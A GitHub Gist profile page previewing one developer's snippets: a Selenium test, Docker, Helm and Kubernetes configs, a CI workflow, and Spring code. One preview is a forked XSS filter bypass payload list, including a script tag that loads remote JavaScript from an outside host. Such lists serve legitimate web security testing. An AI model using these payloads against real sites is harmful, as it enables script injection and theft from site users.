Skip to content

Instantly share code, notes, and snippets.

View prashanth-sams's full-sized avatar
🍎
Each day is interesting!!!

Prashanth Sams prashanth-sams

🍎
Each day is interesting!!!
View GitHub Profile
@prashanth-sams
prashanth-sams / test_selenium.py
Last active October 9, 2024 03:11
Screenshot Example | pytest-html-reporter
from selenium import webdriver
import unittest
from pytest_html_reporter import attach
class TestClass(unittest.TestCase):
def __init__(self, driver):
super().__init__(driver)
def setUp(self):
global driver
import pytest
@pytest.fixture(autouse=True)
def data():
assert False
class TestData():
def test_foo(self):
assert 'prasha' in "prashanth"
@prashanth-sams
prashanth-sams / docker-compose.yml
Created January 22, 2019 14:47
Dockerize SonarQube
version: "3.5"
services:
sonarqube:
image: sonarqube
ports:
- "9000:9000"
networks:
- sonarnet
environment:
@prashanth-sams
prashanth-sams / helm_chart_cheatsheet.md
Last active March 4, 2022 20:12
Helm Chart Cheatsheet

Install helm

brew install kubernetes-helm

Initialize helm

helm init
@prashanth-sams
prashanth-sams / kubernetes_selenium_grid.json
Last active November 18, 2021 17:50
Kubernetes selenium grid setup with 1 HUB and 1 NODE
{
"kind": "Service",
"apiVersion": "v1",
"metadata": {
"name": "selenium-hub",
"labels": {
"run": "selenium-hub"
}
},
"spec": {
@prashanth-sams
prashanth-sams / app.yaml
Created November 5, 2021 14:41 — forked from alukach/app.yaml
An example Github Actions for Python + Pipenv + Postgres + Pyright
# .github/workflows/app.yaml
name: My Python Project
on: push
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 10
services:
@prashanth-sams
prashanth-sams / xxsfilterbypass.lst
Created July 10, 2021 09:21 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
package com.wmock.info.controllers;
import com.wmock.info.models.ChapterInfoModel;
import org.springframework.web.bind.annotation.*;
@RestController
@RequestMapping(value = "/api/chapter", produces = "application/json")
public class ChapterInfoController {
@prashanth-sams
prashanth-sams / SwaggerConfig.java
Last active July 3, 2021 12:38
Swagger 2 Configuration
package com.wmock.info.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import springfox.documentation.builders.PathSelectors;
import springfox.documentation.builders.RequestHandlerSelectors;
import springfox.documentation.spi.DocumentationType;
import springfox.documentation.spring.web.plugins.Docket;
import springfox.documentation.swagger2.annotations.EnableSwagger2;
watch -n x <your command>
watch -n 60 ls -l ~/Desktop